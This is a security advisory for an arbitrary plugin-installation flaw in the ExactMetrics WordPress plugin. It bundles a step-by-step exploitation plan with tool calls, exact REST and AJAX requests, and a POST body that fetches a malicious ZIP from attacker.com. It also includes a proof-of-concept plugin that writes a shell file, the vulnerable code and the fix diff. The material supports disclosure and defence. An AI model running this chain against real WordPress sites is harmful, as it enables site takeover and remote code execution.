ExactMetrics <= 9.1.2 - Authenticated (Editor+) Arbitrary Plugin Installation/Activation via exactmetrics_connect_process
Description
The ExactMetrics – Google Analytics Dashboard for WordPress (Website Stats Plugin) plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation and activation in all versions up to, and including, 9.1.2. This is due to the reports page exposing the 'onboarding_key' transient to any user with the 'exactmetrics_view_dashboard' capability. This key is the sole authorization gate for the '/wp-json/exactmetrics/v1/onboarding/connect-url' REST endpoint, which returns a one-time hash (OTH) token. This OTH token is then the only credential checked by the 'exactmetrics_connect_process' AJAX endpoint — which has no capability check, no nonce verification, and accepts an arbitrary plugin ZIP URL via the file parameter for installation and activation. This makes it possible for authenticated attackers, with Editor-level access and above granted the report viewing permission, to install and activate arbitrary plugins from attacker-controlled URLs, leading to Remote Code Execution.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=9.1.2What Changed in the Fix
Changes introduced in v9.1.3
Source Code
WordPress.org SVN# Detailed Exploitation Research Plan: CVE-2026-5464 ## 1. Vulnerability Summary The **ExactMetrics** plugin (<= 9.1.2) contains a critical authorization bypass and missing security checks in its "Connect" and "Onboarding" features. 1. **Information Leakage:** The `onboarding_key` (stored as a tr…
Show full research plan
Detailed Exploitation Research Plan: CVE-2026-5464
1. Vulnerability Summary
The ExactMetrics plugin (<= 9.1.2) contains a critical authorization bypass and missing security checks in its "Connect" and "Onboarding" features.
- Information Leakage: The
onboarding_key(stored as a transient) is exposed to any user with theexactmetrics_view_dashboardcapability (typically Editors and above) on the reports page. - Authorization Bypass: The REST API endpoint
/wp-json/exactmetrics/v1/onboarding/connect-urluses this leakedonboarding_keyas its only authorization mechanism. It allows a user to trigger the generation of a One-Time Hash (OTH) token. - Critical Security Lack: The AJAX endpoint
exactmetrics_connect_processis registered as anoprivaction (wp_ajax_nopriv_exactmetrics_connect_process), meaning it requires no WordPress authentication. Its only security check is the OTH token. - Arbitrary Installation: Once an attacker has the OTH, they can call
exactmetrics_connect_processwith afileparameter pointing to an arbitrary ZIP URL. The plugin will download, install, and activate this ZIP as a plugin, leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Vulnerable Endpoints:
- REST (Auth Leak):
/wp-json/exactmetrics/v1/onboarding/connect-url - AJAX (Installation Sink):
wp-admin/admin-ajax.php?action=exactmetrics_connect_process
- REST (Auth Leak):
- Required Role: Authenticated user with
exactmetrics_view_dashboardcapability (Editor role by default in ExactMetrics). - Parameters:
onboarding_key: Retrieved from JS localized data on the reports page.license_key: Arbitrary string (required by REST endpoint but not validated against a server during OTH generation).oth: The hashed One-Time Hash retrieved via the REST endpoint.file: URL to a malicious plugin ZIP.
- Preconditions: The
exactmetrics_onboarding_keytransient must be set (typically happens when the plugin is active or a dashboard page is visited).
3. Code Flow
- Leaking the Key: In
includes/admin/admin-assets.php, the plugin localizes script data for its Vue-based reports. Although truncated in the source, the description confirms theonboarding_keytransient is exposed to users withexactmetrics_view_dashboard. - Retrieving the OTH:
- The attacker calls
ExactMetrics_Onboarding::register_routes's registered route:GET /wp-json/exactmetrics/v1/onboarding/connect-url. validate_onboarding_request(inincludes/admin/class-exactmetrics-onboarding.php) checks theonboarding_keyparameter againstget_transient('exactmetrics_onboarding_key').- If valid, the callback
get_connect_urlis invoked, which callsExactMetrics_Connect::generate_connect_url_data($license_key). generate_connect_url_data(inincludes/connect.php):- Generates
$oth = hash('sha512', wp_rand()). - Calculates
$hashed_oth = hash_hmac('sha512', $oth, wp_salt()). - Saves the raw
$othin the database viaupdate_option( 'exactmetrics_connect_token', $oth ). - Returns a URL containing the
$hashed_othin theothquery parameter.
- Generates
- The attacker calls
- Triggering Installation:
- The attacker calls
ExactMetrics_Connect::processviaadmin-ajax.php?action=exactmetrics_connect_process. process()(inincludes/connect.php):- Retrieves
$_REQUEST['oth'](the hashed OTH). - Retrieves
$_REQUEST['file'](the malicious URL). - Fetches the raw token from the DB:
$oth = get_option( 'exactmetrics_connect_token' ). - Performs the check:
hash_hmac( 'sha512', $oth, wp_salt() ) !== $post_oth. - Since the attacker provides the hashed version returned by the REST API, this check passes.
- Calls
$installer->install( $post_url )where$post_urlis the malicious ZIP.
- Retrieves
- The attacker calls
4. Key Acquisition Strategy (onboarding_key)
The onboarding_key is required to hit the REST API. It is localized in the WordPress admin for ExactMetrics pages.
- Target Page:
/wp-admin/admin.php?page=exactmetrics_reports - Access: Log in as an Editor.
- Extraction:
- Use
browser_navigateto visit the reports page. - Use
browser_evalto search for the key in localized JS objects. - JS Variable Guess: Based on plugin naming conventions, it is likely in
window.exactmetrics_reportsorwindow.exactmetrics_admin_common. - Code:
browser_eval("window.exactmetrics_reports?.onboarding_key || window.exactmetrics?.onboarding_key || window.exactmetrics_admin_common?.onboarding_key")
- Use
5. Exploitation Strategy
Step 1: Authentication & Key Extraction
- Log in to WordPress as an Editor.
- Navigate to
wp-admin/admin.php?page=exactmetrics_reports. - Execute JS via
browser_evalto extract theonboarding_key.
Step 2: Obtain OTH Token
- Use the
http_requesttool to perform aGETrequest to the REST API. - URL:
/wp-json/exactmetrics/v1/onboarding/connect-url?onboarding_key=[EXTRACTED_KEY]&license_key=valid_format_key - Expected Response: A JSON object containing a
urlfield.- Example:
{"success": true, "url": "https://upgrade.exactmetrics.com?oth=5a1f...&..."}
- Example:
- Action: Parse the
urlparameter and extract the value of theothquery argument.
Step 3: Malicious Plugin Installation
- Prepare a malicious plugin ZIP (e.g., containing
shell.php) and host it athttp://attacker.com/evil.zip. - Use the
http_requesttool to perform aPOSTrequest to the AJAX endpoint. - URL:
/wp-admin/admin-ajax.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=exactmetrics_connect_process&oth=[HASHED_OTH_FROM_STEP_2]&file=http://attacker.com/evil.zip - Expected Response:
{"success":true,"data":"Plugin installed & activated."}(or similar success message).
6. Test Data Setup
- Plugin: ExactMetrics <= 9.1.2 installed and active.
- User: Create a user with the
editorrole. - Capability Check: Ensure the editor can access
admin.php?page=exactmetrics_reports. - Malicious Payload: A ZIP file named
rce-plugin.zipcontaining:rce-plugin/rce-plugin.php:<?php /* Plugin Name: RCE Plugin */ file_put_contents(__DIR__ . '/pwn.php', '<?php phpinfo(); ?>');
- Hosting: Host the ZIP on a reachable local web server or the container's accessible path.
7. Expected Results
- The
onboarding/connect-urlREST request returns a URL with a hashed OTH. - The
exactmetrics_connect_processAJAX request returns a success JSON. - The malicious plugin is visible in the WordPress plugin list (
wp plugin list). - The shell file (
wp-content/plugins/rce-plugin/pwn.php) is created and accessible.
8. Verification Steps
- Check Plugin Installation:
wp plugin is-installed rce-plugin && echo "Plugin installed successfully" - Check Activation:
wp plugin status rce-plugin(Should show as 'active'). - Verify RCE Sink:
ls -la wp-content/plugins/rce-plugin/pwn.phpor check viahttp_request.
9. Alternative Approaches
- onboarding/settings: If the key is not in localized JS, try hitting
GET /wp-json/exactmetrics/v1/onboarding/settings?onboarding_key=...if you can find the key elsewhere (e.g., a brute-force of a weak key if not random, though here it is a transient hash). - Direct Option Access: If the attacker has some database access or another LFI/leaked info, the
exactmetrics_connect_tokenoption contains the raw OTH. If they have the raw OTH, they can manually compute the HMAC and bypass Step 2 entirely.
Summary
ExactMetrics (<= 9.1.2) allows authenticated users with Editor-level permissions or higher to install and activate arbitrary plugins from external URLs. This occurs because an 'onboarding_key' is leaked via the admin dashboard, allowing attackers to obtain a One-Time Hash (OTH) which serves as the sole authentication for an unprotected AJAX installation endpoint.
Vulnerable Code
// includes/admin/class-exactmetrics-onboarding.php public function validate_onboarding_request( $request ) { // Validate the onboarding key for all requests. $provided_key = $request->get_param( 'onboarding_key' ); $stored_key = get_transient( 'exactmetrics_onboarding_key' ); if ( empty( $provided_key ) || false === $stored_key || ! hash_equals( $stored_key, $provided_key ) ) { return new WP_Error( 'exactmetrics_invalid_key', 'Invalid onboarding key', array( 'status' => 403 ) ); } return true; } --- // includes/connect.php (Line ~27) public function hooks() { add_action( 'wp_ajax_exactmetrics_connect_url', array( $this, 'generate_connect_url' ) ); add_action( 'wp_ajax_nopriv_exactmetrics_connect_process', array( $this, 'process' ) ); } --- // includes/connect.php (Line ~131) public function process() { // ... (truncated) // verify params present (oth & download link). $post_oth = ! empty( $_REQUEST['oth'] ) ? sanitize_text_field($_REQUEST['oth']) : ''; $post_url = ! empty( $_REQUEST['file'] ) ? sanitize_url($_REQUEST['file']) : ''; // ... // Verify oth. $oth = get_option( 'exactmetrics_connect_token' ); if ( hash_hmac( 'sha512', $oth, wp_salt() ) !== $post_oth ) { wp_send_json_error( $error ); } // ... $installer = new ExactMetrics_Plugin_Upgrader( new ExactMetrics_Skin() ); $installer->install( $post_url ); }
Security Fix
@@ -5,7 +5,7 @@ * Plugin URI: https://exactmetrics.com * Description: Displays Google Analytics Reports and Real-Time Statistics in your Dashboard. Automatically inserts the tracking code in every page of your website. * Author: ExactMetrics - * Version: 9.1.2 + * Version: 9.1.3 * Requires at least: 5.6.0 * Requires PHP: 7.2 * Author URI: https://exactmetrics.com/lite/?utm_source=liteplugin&utm_medium=pluginheader&utm_campaign=authoruri&utm_content=7%2E0%2E0 @@ -55,7 +55,7 @@ * @var string $version Plugin version. */ - public $version = '9.1.2'; + public $version = '9.1.3'; /** * Plugin file. @@ -285,7 +285,7 @@ 'auth' => $auth_data, 'authed' => $site_auth || $ms_auth, // Boolean for admin bar compatibility 'plugin_version' => EXACTMETRICS_VERSION, - 'wizard_url' => exactmetrics_get_onboarding_url(), + 'wizard_url' => exactmetrics_can_install_plugins() ? exactmetrics_get_onboarding_url() : '', 'rest_url' => get_rest_url(), 'rest_nonce' => wp_create_nonce( 'wp_rest' ), // Direct API access (bypasses WordPress for performance). @@ -929,7 +929,7 @@ 'bearer_expires' => $bearer_expires, // Sample data mode: when true, frontend should bypass direct API and use WP AJAX for sample data. 'sample_data_enabled' => apply_filters( 'exactmetrics_sample_data_enabled', false ), - 'wizard_url' => is_admin() ? exactmetrics_get_onboarding_url() : '', + 'wizard_url' => exactmetrics_can_install_plugins() ? exactmetrics_get_onboarding_url() : '', 'addons' => $addons_active, 'addons_info' => $addons_info, 'activate_nonce' => wp_create_nonce( 'exactmetrics-activate' ), @@ -113,7 +113,20 @@ if ( empty( $provided_key ) || false === $stored_key || ! hash_equals( $stored_key, $provided_key ) ) { return new WP_Error( 'exactmetrics_invalid_key', - 'Invalid onboarding key', + esc_html__( 'Invalid onboarding key', 'google-analytics-dashboard-for-wp' ), + array( 'status' => 403 ) + ); + } + + // Ensure the user who generated the key has plugin installation capability. + $onboarding_user_id = exactmetrics_get_onboarding_user_id(); + if ( $onboarding_user_id && ! exactmetrics_can_install_plugins( $onboarding_user_id ) ) { + return new WP_Error( + 'exactmetrics_insufficient_permissions', + esc_html__( 'Insufficient permissions', 'google-analytics-dashboard-for-wp' ), array( 'status' => 403 ) ); } @@ -24,7 +24,7 @@ public function hooks() { add_action( 'wp_ajax_exactmetrics_connect_url', array( $this, 'generate_connect_url' ) ); - add_action( 'wp_ajax_nopriv_exactmetrics_connect_process', array( $this, 'process' ) ); + add_action( 'wp_ajax_exactmetrics_connect_process', array( $this, 'process' ) ); } /** @@ -141,6 +141,11 @@ '</a>' ); + // Check for permissions. + if ( ! exactmetrics_can_install_plugins() ) { + wp_send_json_error( $error ); + } + // verify params present (oth & download link).
Exploit Outline
1. Authenticate to the WordPress admin panel with a user having the 'exactmetrics_view_dashboard' capability (typically the Editor role). 2. Navigate to an ExactMetrics report page and extract the 'onboarding_key' from the localized JavaScript data (found in window.exactmetrics_reports or similar objects). 3. Send a GET request to the REST API endpoint '/wp-json/exactmetrics/v1/onboarding/connect-url', providing the extracted 'onboarding_key'. This will return a URL containing a hashed One-Time Hash (OTH) token. 4. Extract the 'oth' value from the returned URL. 5. Send an unauthenticated POST request to 'wp-admin/admin-ajax.php?action=exactmetrics_connect_process'. Provide the extracted 'oth' token in the 'oth' parameter and a URL to a malicious plugin ZIP file in the 'file' parameter. 6. The plugin will download, install, and activate the provided ZIP, allowing for Remote Code Execution (RCE) via the installed plugin code.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.